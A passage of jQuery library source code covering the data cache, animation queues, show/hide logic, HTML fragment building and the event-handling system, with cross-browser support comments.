	data: function( elem, name, data ) {
		return dataUser.access( elem, name, data );
	},

	removeData: function( elem, name ) {
		dataUser.remove( elem, name );
	},

	// TODO: Now that all calls to _data and _removeData have been replaced
	// with direct calls to dataPriv methods, these can be deprecated.
	_data: function( elem, name, data ) {
		return dataPriv.access( elem, name, data );
	},

	_removeData: function( elem, name ) {
		dataPriv.remove( elem, name );
	}
} );

jQuery.fn.extend( {
	data: function( key, value ) {
		var i, name, data,
			elem = this[ 0 ],
			attrs = elem && elem.attributes;

		// Gets all values
		if ( key === undefined ) {
			if ( this.length ) {
				data = dataUser.get( elem );

				if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) {
					i = attrs.length;
					while ( i-- ) {

						// Support: IE 11 only
						// The attrs elements can be null (#14894)
						if ( attrs[ i ] ) {
							name = attrs[ i ].name;
							if ( name.indexOf( "data-" ) === 0 ) {
								name = camelCase( name.slice( 5 ) );
								dataAttr( elem, name, data[ name ] );
							}
						}
					}
					dataPriv.set( elem, "hasDataAttrs", true );
				}
			}

			return data;
		}

		// Sets multiple values
		if ( typeof key === "object" ) {
			return this.each( function() {
				dataUser.set( this, key );
			} );
		}

		return access( this, function( value ) {
			var data;

			// The calling jQuery object (element matches) is not empty
			// (and therefore has an element appears at this[ 0 ]) and the
			// `value` parameter was not undefined. An empty jQuery object
			// will result in `undefined` for elem = this[ 0 ] which will
			// throw an exception if an attempt to read a data cache is made.
			if ( elem && value === undefined ) {

				// Attempt to get data from the cache
				// The key will always be camelCased in Data
				data = dataUser.get( elem, key );
				if ( data !== undefined ) {
					return data;
				}

				// Attempt to "discover" the data in
				// HTML5 custom data-* attrs
				data = dataAttr( elem, key );
				if ( data !== undefined ) {
					return data;
				}

				// We tried really hard, but the data doesn't exist.
				return;
			}

			// Set the data...
			this.each( function() {

				// We always store the camelCased key
				dataUser.set( this, key, value );
			} );
		}, null, value, arguments.length > 1, null, true );
	},

	removeData: function( key ) {
		return this.each( function() {
			dataUser.remove( this, key );
		} );
	}
} );


jQuery.extend( {
	queue: function( elem, type, data ) {
		var queue;

		if ( elem ) {
			type = ( type || "fx" ) + "queue";
			queue = dataPriv.get( elem, type );

			// Speed up dequeue by getting out quickly if this is just a lookup
			if ( data ) {
				if ( !queue || Array.isArray( data ) ) {
					queue = dataPriv.access( elem, type, jQuery.makeArray( data ) );
				} else {
					queue.push( data );
				}
			}
			return queue || [];
		}
	},

	dequeue: function( elem, type ) {
		type = type || "fx";

		var queue = jQuery.queue( elem, type ),
			startLength = queue.length,
			fn = queue.shift(),
			hooks = jQuery._queueHooks( elem, type ),
			next = function() {
				jQuery.dequeue( elem, type );
			};

		// If the fx queue is dequeued, always remove the progress sentinel
		if ( fn === "inprogress" ) {
			fn = queue.shift();
			startLength--;
		}

		if ( fn ) {

			// Add a progress sentinel to prevent the fx queue from being
			// automatically dequeued
			if ( type === "fx" ) {
				queue.unshift( "inprogress" );
			}

			// Clear up the last queue stop function
			delete hooks.stop;
			fn.call( elem, next, hooks );
		}

		if ( !startLength && hooks ) {
			hooks.empty.fire();
		}
	},

	// Not public - generate a queueHooks object, or return the current one
	_queueHooks: function( elem, type ) {
		var key = type + "queueHooks";
		return dataPriv.get( elem, key ) || dataPriv.access( elem, key, {
			empty: jQuery.Callbacks( "once memory" ).add( function() {
				dataPriv.remove( elem, [ type + "queue", key ] );
			} )
		} );
	}
} );

jQuery.fn.extend( {
	queue: function( type, data ) {
		var setter = 2;

		if ( typeof type !== "string" ) {
			data = type;
			type = "fx";
			setter--;
		}

		if ( arguments.length < setter ) {
			return jQuery.queue( this[ 0 ], type );
		}

		return data === undefined ?
			this :
			this.each( function() {
				var queue = jQuery.queue( this, type, data );

				// Ensure a hooks for this queue
				jQuery._queueHooks( this, type );

				if ( type === "fx" && queue[ 0 ] !== "inprogress" ) {
					jQuery.dequeue( this, type );
				}
			} );
	},
	dequeue: function( type ) {
		return this.each( function() {
			jQuery.dequeue( this, type );
		} );
	},
	clearQueue: function( type ) {
		return this.queue( type || "fx", [] );
	},

	// Get a promise resolved when queues of a certain type
	// are emptied (fx is the type by default)
	promise: function( type, obj ) {
		var tmp,
			count = 1,
			defer = jQuery.Deferred(),
			elements = this,
			i = this.length,
			resolve = function() {
				if ( !( --count ) ) {
					defer.resolveWith( elements, [ elements ] );
				}
			};

		if ( typeof type !== "string" ) {
			obj = type;
			type = undefined;
		}
		type = type || "fx";

		while ( i-- ) {
			tmp = dataPriv.get( elements[ i ], type + "queueHooks" );
			if ( tmp && tmp.empty ) {
				count++;
				tmp.empty.add( resolve );
			}
		}
		resolve();
		return defer.promise( obj );
	}
} );
var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;

var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );


var cssExpand = [ "Top", "Right", "Bottom", "Left" ];

var documentElement = document.documentElement;



	var isAttached = function( elem ) {
			return jQuery.contains( elem.ownerDocument, elem );
		},
		composed = { composed: true };

	// Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only
	// Check attachment across shadow DOM boundaries when possible (gh-3504)
	// Support: iOS 10.0-10.2 only
	// Early iOS 10 versions support `attachShadow` but not `getRootNode`,
	// leading to errors. We need to check for `getRootNode`.
	if ( documentElement.getRootNode ) {
		isAttached = function( elem ) {
			return jQuery.contains( elem.ownerDocument, elem ) ||
				elem.getRootNode( composed ) === elem.ownerDocument;
		};
	}
var isHiddenWithinTree = function( elem, el ) {

		// isHiddenWithinTree might be called from jQuery#filter function;
		// in that case, element will be second argument
		elem = el || elem;

		// Inline style trumps all
		return elem.style.display === "none" ||
			elem.style.display === "" &&

			// Otherwise, check computed style
			// Support: Firefox <=43 - 45
			// Disconnected elements can have computed display: none, so first confirm that elem is
			// in the document.
			isAttached( elem ) &&

			jQuery.css( elem, "display" ) === "none";
	};



function adjustCSS( elem, prop, valueParts, tween ) {
	var adjusted, scale,
		maxIterations = 20,
		currentValue = tween ?
			function() {
				return tween.cur();
			} :
			function() {
				return jQuery.css( elem, prop, "" );
			},
		initial = currentValue(),
		unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),

		// Starting value computation is required for potential unit mismatches
		initialInUnit = elem.nodeType &&
			( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) &&
			rcssNum.exec( jQuery.css( elem, prop ) );

	if ( initialInUnit && initialInUnit[ 3 ] !== unit ) {

		// Support: Firefox <=54
		// Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144)
		initial = initial / 2;

		// Trust units reported by jQuery.css
		unit = unit || initialInUnit[ 3 ];

		// Iteratively approximate from a nonzero starting point
		initialInUnit = +initial || 1;

		while ( maxIterations-- ) {

			// Evaluate and update our best guess (doubling guesses that zero out).
			// Finish if the scale equals or crosses 1 (making the old*new product non-positive).
			jQuery.style( elem, prop, initialInUnit + unit );
			if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) {
				maxIterations = 0;
			}
			initialInUnit = initialInUnit / scale;

		}

		initialInUnit = initialInUnit * 2;
		jQuery.style( elem, prop, initialInUnit + unit );

		// Make sure we update the tween properties later on
		valueParts = valueParts || [];
	}

	if ( valueParts ) {
		initialInUnit = +initialInUnit || +initial || 0;

		// Apply relative offset (+=/-=) if specified
		adjusted = valueParts[ 1 ] ?
			initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :
			+valueParts[ 2 ];
		if ( tween ) {
			tween.unit = unit;
			tween.start = initialInUnit;
			tween.end = adjusted;
		}
	}
	return adjusted;
}


var defaultDisplayMap = {};

function getDefaultDisplay( elem ) {
	var temp,
		doc = elem.ownerDocument,
		nodeName = elem.nodeName,
		display = defaultDisplayMap[ nodeName ];

	if ( display ) {
		return display;
	}

	temp = doc.body.appendChild( doc.createElement( nodeName ) );
	display = jQuery.css( temp, "display" );

	temp.parentNode.removeChild( temp );

	if ( display === "none" ) {
		display = "block";
	}
	defaultDisplayMap[ nodeName ] = display;

	return display;
}

function showHide( elements, show ) {
	var display, elem,
		values = [],
		index = 0,
		length = elements.length;

	// Determine new display value for elements that need to change
	for ( ; index < length; index++ ) {
		elem = elements[ index ];
		if ( !elem.style ) {
			continue;
		}

		display = elem.style.display;
		if ( show ) {

			// Since we force visibility upon cascade-hidden elements, an immediate (and slow)
			// check is required in this first loop unless we have a nonempty display value (either
			// inline or about-to-be-restored)
			if ( display === "none" ) {
				values[ index ] = dataPriv.get( elem, "display" ) || null;
				if ( !values[ index ] ) {
					elem.style.display = "";
				}
			}
			if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) {
				values[ index ] = getDefaultDisplay( elem );
			}
		} else {
			if ( display !== "none" ) {
				values[ index ] = "none";

				// Remember what we're overwriting
				dataPriv.set( elem, "display", display );
			}
		}
	}

	// Set the display of the elements in a second loop to avoid constant reflow
	for ( index = 0; index < length; index++ ) {
		if ( values[ index ] != null ) {
			elements[ index ].style.display = values[ index ];
		}
	}

	return elements;
}

jQuery.fn.extend( {
	show: function() {
		return showHide( this, true );
	},
	hide: function() {
		return showHide( this );
	},
	toggle: function( state ) {
		if ( typeof state === "boolean" ) {
			return state ? this.show() : this.hide();
		}

		return this.each( function() {
			if ( isHiddenWithinTree( this ) ) {
				jQuery( this ).show();
			} else {
				jQuery( this ).hide();
			}
		} );
	}
} );
var rcheckableType = ( /^(?:checkbox|radio)$/i );

var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i );

var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );



( function() {
	var fragment = document.createDocumentFragment(),
		div = fragment.appendChild( document.createElement( "div" ) ),
		input = document.createElement( "input" );

	// Support: Android 4.0 - 4.3 only
	// Check state lost if the name is set (#11217)
	// Support: Windows Web Apps (WWA)
	// `name` and `type` must use .setAttribute for WWA (#14901)
	input.setAttribute( "type", "radio" );
	input.setAttribute( "checked", "checked" );
	input.setAttribute( "name", "t" );

	div.appendChild( input );

	// Support: Android <=4.1 only
	// Older WebKit doesn't clone checked state correctly in fragments
	support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;

	// Support: IE <=11 only
	// Make sure textarea (and checkbox) defaultValue is properly cloned
	div.innerHTML = "<textarea>x</textarea>";
	support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;

	// Support: IE <=9 only
	// IE <=9 replaces <option> tags with their contents when inserted outside of
	// the select element.
	div.innerHTML = "<option></option>";
	support.option = !!div.lastChild;
} )();


// We have to close these tags to support XHTML (#13200)
var wrapMap = {

	// XHTML parsers do not magically insert elements in the
	// same way that tag soup parsers do. So we cannot shorten
	// this by omitting <tbody> or other required elements.
	thead: [ 1, "<table>", "</table>" ],
	col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
	tr: [ 2, "<table><tbody>", "</tbody></table>" ],
	td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],

	_default: [ 0, "", "" ]
};

wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;

// Support: IE <=9 only
if ( !support.option ) {
	wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ];
}


function getAll( context, tag ) {

	// Support: IE <=9 - 11 only
	// Use typeof to avoid zero-argument method invocation on host objects (#15151)
	var ret;

	if ( typeof context.getElementsByTagName !== "undefined" ) {
		ret = context.getElementsByTagName( tag || "*" );

	} else if ( typeof context.querySelectorAll !== "undefined" ) {
		ret = context.querySelectorAll( tag || "*" );

	} else {
		ret = [];
	}

	if ( tag === undefined || tag && nodeName( context, tag ) ) {
		return jQuery.merge( [ context ], ret );
	}

	return ret;
}


// Mark scripts as having already been evaluated
function setGlobalEval( elems, refElements ) {
	var i = 0,
		l = elems.length;

	for ( ; i < l; i++ ) {
		dataPriv.set(
			elems[ i ],
			"globalEval",
			!refElements || dataPriv.get( refElements[ i ], "globalEval" )
		);
	}
}


var rhtml = /<|&#?\w+;/;

function buildFragment( elems, context, scripts, selection, ignored ) {
	var elem, tmp, tag, wrap, attached, j,
		fragment = context.createDocumentFragment(),
		nodes = [],
		i = 0,
		l = elems.length;

	for ( ; i < l; i++ ) {
		elem = elems[ i ];

		if ( elem || elem === 0 ) {

			// Add nodes directly
			if ( toType( elem ) === "object" ) {

				// Support: Android <=4.0 only, PhantomJS 1 only
				// push.apply(_, arraylike) throws on ancient WebKit
				jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );

			// Convert non-html into a text node
			} else if ( !rhtml.test( elem ) ) {
				nodes.push( context.createTextNode( elem ) );

			// Convert html into DOM nodes
			} else {
				tmp = tmp || fragment.appendChild( context.createElement( "div" ) );

				// Deserialize a standard representation
				tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
				wrap = wrapMap[ tag ] || wrapMap._default;
				tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

				// Descend through wrappers to the right content
				j = wrap[ 0 ];
				while ( j-- ) {
					tmp = tmp.lastChild;
				}

				// Support: Android <=4.0 only, PhantomJS 1 only
				// push.apply(_, arraylike) throws on ancient WebKit
				jQuery.merge( nodes, tmp.childNodes );

				// Remember the top-level container
				tmp = fragment.firstChild;

				// Ensure the created nodes are orphaned (#12392)
				tmp.textContent = "";
			}
		}
	}

	// Remove wrapper from fragment
	fragment.textContent = "";

	i = 0;
	while ( ( elem = nodes[ i++ ] ) ) {

		// Skip elements already in the context collection (trac-4087)
		if ( selection && jQuery.inArray( elem, selection ) > -1 ) {
			if ( ignored ) {
				ignored.push( elem );
			}
			continue;
		}

		attached = isAttached( elem );

		// Append to fragment
		tmp = getAll( fragment.appendChild( elem ), "script" );

		// Preserve script evaluation history
		if ( attached ) {
			setGlobalEval( tmp );
		}

		// Capture executables
		if ( scripts ) {
			j = 0;
			while ( ( elem = tmp[ j++ ] ) ) {
				if ( rscriptType.test( elem.type || "" ) ) {
					scripts.push( elem );
				}
			}
		}
	}

	return fragment;
}


var rtypenamespace = /^([^.]*)(?:\.(.+)|)/;

function returnTrue() {
	return true;
}

function returnFalse() {
	return false;
}

// Support: IE <=9 - 11+
// focus() and blur() are asynchronous, except when they are no-op.
// So expect focus to be synchronous when the element is already active,
// and blur to be synchronous when the element is not already active.
// (focus and blur are always synchronous in other supported browsers,
// this just defines when we can count on it).
function expectSync( elem, type ) {
	return ( elem === safeActiveElement() ) === ( type === "focus" );
}

// Support: IE <=9 only
// Accessing document.activeElement can throw unexpectedly
// https://bugs.jquery.com/ticket/13393
function safeActiveElement() {
	try {
		return document.activeElement;
	} catch ( err ) { }
}

function on( elem, types, selector, data, fn, one ) {
	var origFn, type;

	// Types can be a map of types/handlers
	if ( typeof types === "object" ) {

		// ( types-Object, selector, data )
		if ( typeof selector !== "string" ) {

			// ( types-Object, data )
			data = data || selector;
			selector = undefined;
		}
		for ( type in types ) {
			on( elem, type, selector, data, types[ type ], one );
		}
		return elem;
	}

	if ( data == null && fn == null ) {

		// ( types, fn )
		fn = selector;
		data = selector = undefined;
	} else if ( fn == null ) {
		if ( typeof selector === "string" ) {

			// ( types, selector, fn )
			fn = data;
			data = undefined;
		} else {

			// ( types, data, fn )
			fn = data;
			data = selector;
			selector = undefined;
		}
	}
	if ( fn === false ) {
		fn = returnFalse;
	} else if ( !fn ) {
		return elem;
	}

	if ( one === 1 ) {
		origFn = fn;
		fn = function( event ) {

			// Can use an empty set, since event contains the info
			jQuery().off( event );
			return origFn.apply( this, arguments );
		};

		// Use same guid so caller can remove using origFn
		fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
	}
	return elem.each( function() {
		jQuery.event.add( this, types, fn, data, selector );
	} );
}

/*
 * Helper functions for managing events -- not part of the public interface.
 * Props to Dean Edwards' addEvent library for many of the ideas.
 */
jQuery.event = {

	global: {},

	add: function( elem, types, handler, data, selector ) {

		var handleObjIn, eventHandle, tmp,
			events, t, handleObj,
			special, handlers, type, namespaces, origType,
			elemData = dataPriv.get( elem );

		// Only attach events to objects that accept data
		if ( !acceptData( elem ) ) {
			return;
		}

		// Caller can pass in an object of custom data in lieu of the handler
		if ( handler.handler ) {
			handleObjIn = handler;
			handler = handleObjIn.handler;
			selector = handleObjIn.selector;
		}

		// Ensure that invalid selectors throw exceptions at attach time
		// Evaluate against documentElement in case elem is a non-element node (e.g., document)
		if ( selector ) {
			jQuery.find.matchesSelector( documentElement, selector );
		}

		// Make sure that the handler has a unique ID, used to find/remove it later
		if ( !handler.guid ) {
			handler.guid = jQuery.guid++;
		}

		// Init the element's event structure and main handler, if this is the first
		if ( !( events = elemData.events ) ) {
			events = elemData.events = Object.create( null );
		}
		if ( !( eventHandle = elemData.handle ) ) {
			eventHandle = elemData.handle = function( e ) {

				// Discard the second event of a jQuery.event.trigger() and
				// when an event is called after a page has unloaded
				return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ?
					jQuery.event.dispatch.apply( elem, arguments ) : undefined;
			};
		}

		// Handle multiple events separated by a space
		types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
		t = types.length;
		while ( t-- ) {
			tmp = rtypenamespace.exec( types[ t ] ) || [];
			type = origType = tmp[ 1 ];
			namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();

			// There *must* be a type, no attaching namespace-only handlers
			if ( !type ) {
				continue;
			}

			// If event changes its type, use the special event handlers for the changed type
			special = jQuery.event.special[ type ] || {};

			// If selector defined, determine special event api type, otherwise given type
			type = ( selector ? special.delegateType : special.bindType ) || type;

			// Update special based on newly reset type
			special = jQuery.event.special[ type ] || {};

			// handleObj is passed to all event handlers
			handleObj = jQuery.extend( {
				type: type,
				origType: origType,
				data: data,
				handler: handler,
				guid: handler.guid,
				selector: selector,
				needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
				namespace: namespaces.join( "." )
			}, handleObjIn );

			// Init the event handler queue if we're the first
			if ( !( handlers = events[ type ] ) ) {
				handlers = events[ type ] = [];
				handlers.delegateCount = 0;

				// Only use addEventListener if the special events handler returns false
				if ( !special.setup ||
					special.setup.call( elem, data, namespaces, eventHandle ) === false ) {

					if ( elem.addEventListener ) {
						elem.addEventListener( type, eventHandle );
					}
				}
			}

			if ( special.add ) {
				special.add.call( elem, handleObj );

				if ( !handleObj.handler.guid ) {
					handleObj.handler.guid = handler.guid;
				}
			}

			// Add to the element's handler list, delegates in front
			if ( selector ) {
				handlers.splice( handlers.delegateCount++, 0, handleObj );
			} else {
				handlers.push( handleObj );
			}

			// Keep track of which events have ever been used, for event optimization
			jQuery.event.global[ type ] = true;
		}

	},

	// Detach an event or set of events from an element
	remove: function( elem, types, handler, selector, mappedTypes ) {

		var j, origCount, tmp,
			events, t, handleObj,
			special, handlers, type, namespaces, origType,
			elemData = dataPriv.hasData( elem ) && dataPriv.get( elem );

		if ( !elemData || !( events = elemData.events ) ) {
			return;
		}

		// Once for each type.namespace in types; type may be omitted
		types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
		t = types.length;
		while ( t-- ) {
			tmp = rtypenamespace.exec( types[ t ] ) || [];
			type = origType = tmp[ 1 ];
			namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();

			// Unbind all events (on this namespace, if provided) for the element
			if ( !type ) {
				for ( type in events ) {
					jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
				}
				continue;
			}

			special = jQuery.event.special[ type ] || {};
			type = ( selector ? special.delegateType : special.bindType ) || type;
			handlers = events[ type ] || [];
			tmp = tmp[ 2 ] &&
				new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" );

			// Remove matching events
			origCount = j = handlers.length;
			while ( j-- ) {
				handleObj = handlers[ j ];

				if ( ( mappedTypes || origType === handleObj.origType ) &&
					( !handler || handler.guid === handleObj.guid ) &&
					( !tmp || tmp.test( handleObj.namespace ) ) &&
					( !selector || selector === handleObj.selector ||
						selector === "**" && handleObj.selector ) ) {
					handlers.splice( j, 1 );

					if ( handleObj.selector ) {
						handlers.delegateCount--;
					}
					if ( special.remove ) {
						special.remove.call( elem, handleObj );
					}
				}
			}

			// Remove generic event handler if we removed something and no more handlers exist
			// (avoids potential for endless recursion during removal of special event handlers)
			if ( origCount && !handlers.length ) {
				if ( !special.teardown ||
					special.teardown.call( elem, namespaces, elemData.handle ) === false ) {

					jQuery.removeEvent( elem, type, elemData.handle );
				}

				delete events[ type ];
			}
		}

		// Remove data and the expando if it's no longer used
		if ( jQuery.isEmptyObject( events ) ) {
			dataPriv.remove( elem, "handle events" );
		}
	},

	dispatch: function( nativeEvent ) {

		var i, j, ret, matched, handleObj, handlerQueue,
			args = new Array( arguments.length ),

			// Make a writable jQuery.Event from the native event object
			event = jQuery.event.fix( nativeEvent ),

			handlers = (
				dataPriv.get( this, "events" ) || Object.create( null )
			)[ event.type ] || [],
			special = jQuery.event.special[ event.type ] || {};

		// Use the fix-ed jQuery.Event rather than the (read-only) native event
		args[ 0 ] = event;

		for ( i = 1; i < arguments.length; i++ ) {
			args[ i ] = arguments[ i ];
		}

		event.delegateTarget = this;

		// Call the preDispatch hook for the mapped type, and let it bail if desired
		if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
			return;
		}

		// Determine handlers
		handlerQueue = jQuery.event.handlers.call( this, event, handlers );

		// Run delegates first; they may want to stop propagation beneath us
		i = 0;
		while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {
			event.currentTarget = matched.elem;

			j = 0;
			while ( ( handleObj = matched.handlers[ j++ ] ) &&
				!event.isImmediatePropagationStopped() ) {

				// If the event is namespaced, then each handler is only invoked if it is
				// specially universal or its namespaces are a superset of the event's.
				if ( !event.rnamespace || handleObj.namespace === false ||
					event.rnamespace.test( handleObj.namespace ) ) {

					event.handleObj = handleObj;
					event.data = handleObj.data;

					ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||
						handleObj.handler ).apply( matched.elem, args );

					if ( ret !== undefined ) {
						if ( ( event.result = ret ) === false ) {
							event.preventDefault();
							event.stopPropagation();
						}
					}
				}
			}
		}

		// Call the postDispatch hook for the mapped type
		if ( special.postDispatch ) {
			special.postDispatch.call( this, event );
		}

		return event.result;
	},

	handlers: function( event, handlers ) {
		var i, handleObj, sel, matchedHandlers, matchedSelectors,
			handlerQueue = [],
			delegateCount = handlers.delegateCount,
			cur = event.target;

		// Find delegate handlers
		if ( delegateCount &&

			// Support: IE <=9
			// Black-hole SVG <use> instance trees (trac-13180)
			cur.nodeType &&

			// Support: Firefox <=42
			// Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)
			// https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click
			// Support: IE 11 only
			// ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343)
			!( event.type === "click" && event.button >= 1 ) ) {

			for ( ; cur !== this; cur = cur.parentNode || this ) {

				// Don't check non-elements (#13208)
				// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
				if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) {
					matchedHandlers = [];
					matchedSelectors = {};
					for ( i = 0; i < delegateCount; i++ ) {
						handleObj = handlers[ i ];

						// Don't conflict with Object.prototype properties (#13203)
						sel = handleObj.selector + " ";

						if ( matchedSelectors[ sel ] === undefined ) {
							matchedSelectors[ sel ] = handleObj.needsContext ?
								jQuery( sel, this ).index( cur ) > -1 :
								jQuery.find( sel, this, null, [ cur ] ).length;
						}
						if ( matchedSelectors[ sel ] ) {
							matchedHandlers.push( handleObj );
						}
					}
					if ( matchedHandlers.length ) {
						handlerQueue.push( { elem: cur, handlers: matchedHandlers } );
					}
				}
			}
		}

		// Add the remaining (directly-bound) handlers
		cur = this;
		if ( delegateCount < handlers.length ) {
			handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );
		}

		return handlerQueue;
	},

	addProp: function( name, hook ) {
		Object.defineProperty( jQuery.Event.prototype, name, {
			enumerable: true,
			configurable: true,

			get: isFunction( hook ) ?
				function() {
					if ( this.originalEvent ) {
						return hook( this.originalEvent );
					}
				} :
				function() {
					if ( this.originalEvent ) {
						return this.originalEvent[ name ];
					}
				},

			set: function( value ) {
				Object.defineProperty( this, name, {
					enumerable: true,
					configurable: true,
					writable: true,
					value: value
				} );
			}
		} );
	},

	fix: function( originalEvent ) {
		return originalEvent[ jQuery.expando ] ?
			originalEvent :
			new jQuery.Event( originalEvent );
	},

	special: {
		load: {

			// Prevent triggered image.load events from bubbling to window.load
			noBubble: true
		},
		click: {

			// Utilize native event to ensure correct state for checkable inputs
			setup: function( data ) {

				// For mutual compressibility with _default, replace `this` access with a local var.
				// `|| data` is dead code meant only to preserve the variable through minification.
				var el = this || data;

				// Claim the first handler
				if ( rcheckableType.test( el.type ) &&
					el.click && nodeName( el, "input" ) ) {

					// dataPriv.set( el, "click", ... )
					leverageNative( el, "click", returnTrue );
				}

				// Return false to allow normal processing in the caller
				return false;
			},
			trigger: function( data ) {

				// For mutual compressibility with _default, replace `this` access with a local var.
				// `|| data` is dead code meant only to preserve the variable through minification.
				var el = this || data;

				// Force setup before triggering a click
				if ( rcheckableType.test( el.type ) &&
					el.click && nodeName( el, "input" ) ) {

					leverageNative( el, "click" );
				}

				// Return non-false to allow normal event-path propagation
				return true;
			},

			// For cross-browser consistency, suppress native .click() on links
			// Also prevent it if we're currently inside a leveraged native-event stack
			_default: function( event ) {
				var target = event.target;
				return rcheckableType.test( target.type ) &&
					target.click && nodeName( target, "input" ) &&
					dataPriv.get( target, "click" ) ||
					nodeName( target, "a" );
			}
		},

		beforeunload: {
			postDispatch: function( event ) {

				// Support: Firefox 20+
				// Firefox doesn't alert if the returnValue field is not set.
				if ( event.result !== undefined && event.originalEvent ) {
					event.originalEvent.returnValue = event.result;
				}
			}
		}
	}
};

// Ensure the presence of an event listener that handles manually-triggered
// synthetic events by interrupting progress until reinvoked in response to
// *native* events that it fires directly, ensuring that state changes have
// already occurred before other listeners are invoked.
function leverageNative( el, type, expectSync ) {

	// Missing expectSync indicates a trigger call, which must force setup through jQuery.event.add
	if ( !expectSync ) {
		if ( dataPriv.get( el, type ) === undefined ) {
			jQuery.event.add( el, type, returnTrue );
		}
		return;
	}

	// Register the controller as a special universal handler for all event namespaces
	dataPriv.set( el, type, false );
	jQuery.event.add( el, type, {
		namespace: false,
		handler: function( event ) {
			var notAsync, result,
				saved = dataPriv.get( this, type );

			if ( ( event.isTrigger & 1 ) && this[ type ] ) {

				// Interrupt processing of the outer synthetic .trigger()ed event
				// Saved data should be false in such cases, but might be a leftover capture object
				// from an async native handler (gh-4350)
				if ( !saved.length ) {

					// Store arguments for use when handling the inner native event
					// There will always be at least one argument (an event object), so this array
					// will not be confused with a leftover capture object.
					saved = slice.call( arguments );
					dataPriv.set( this, type, saved );

					// Trigger the native event and capture its result
					// Support: IE <=9 - 11+
					// focus() and blur() are asynchronous
					notAsync = expectSync( this, type );
					this[ type ]();
					result = dataPriv.get( this, type );
					if ( saved !== result || notAsync ) {
						dataPriv.set( this, type, false );
					} else {
						result = {};
					}
					if ( saved !== result ) {

						// Cancel the outer synthetic event
						event.stopImmediatePropagation();
						event.preventDefault();

						// Support: Chrome 86+
						// In Chrome, if an element having a focusout handler is blurred by
						// clicking outside of it, it invokes the handler synchronously. If
						// that handler calls `.remove()` on the element, the data is cleared,
						// leaving `result` undefined. We need to guard against this.
						return result && result.value;
					}

				// If this is an inner synthetic event for an event with a bubbling surrogate
				// (focus or blur), assume that the surrogate already propagated from triggering the
				// native event and prevent that from happening again here.
				// This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the
				// bubbling surrogate propagates *after* the non-bubbling base), but that seems
				// less bad than duplication.
				} else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) {
					event.stopPropagation();
				}

			// If this is a native event triggered above, everything is now in order
			// Fire an inner synthetic event with the original arguments
			} else if ( saved.length ) {

				// ...and capture the result
				dataPriv.set( this, type, {
					value: jQuery.event.trigger(

						// Support: IE <=9 - 11+
						// Extend with the prototype to reset the above stopImmediatePropagation()
						jQuery.extend( saved[ 0 ], jQuery.Event.prototype ),
						saved.slice( 1 ),
						this
					)
				} );

				// Abort handling of the native event
				event.stopImmediatePropagation();
			}
		}
	} );
}

jQuery.removeEvent = function( elem, type, handle ) {

	// This "if" is needed for plain objects
	if ( elem.removeEventListener ) {
		elem.removeEventListener( type, handle );
	}
};

jQuery.Event = function( src, props ) {

	// Allow instantiation without the 'new' keyword
	if ( !( this instanceof jQuery.Event ) ) {
		return new jQuery.Event( src, props );
	}

	// Event object
	if ( src && src.type ) {
		this.originalEvent = src;
		this.type = src.type;

		// Events bubbling up the document may have been marked as prevented
		// by a handler lower down the tree; reflect the correct value.
		this.isDefaultPrevented = src.defaultPrevented ||
				src.defaultPrevented === undefined &&

				// Support: Android <=2.3 only
				src.returnValue === false ?
			returnTrue :
			returnFalse;

		// Create target properties
		// Support: Safari <=6 - 7 only
		// Target should not be a text node (#504, #13143)
		this.target = ( src.target && src.target.nodeType === 3 ) ?
			src.target.parentNode :
			src.target;

		this.currentTarget = src.currentTarget;
		this.relatedTarget = src.relatedTarget;

	// Event type
	} else {
		this.type = src;
	}

	// Put explicitly provided properties onto the event object
	if ( props ) {
		jQuery.extend( this, props );
	}

	// Create a timestamp if incoming event doesn't have one
	this.timeStamp = src && src.timeStamp || Date.now();

	// Mark it as fixed
	this[ jQuery.expando ] = true;
};

// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
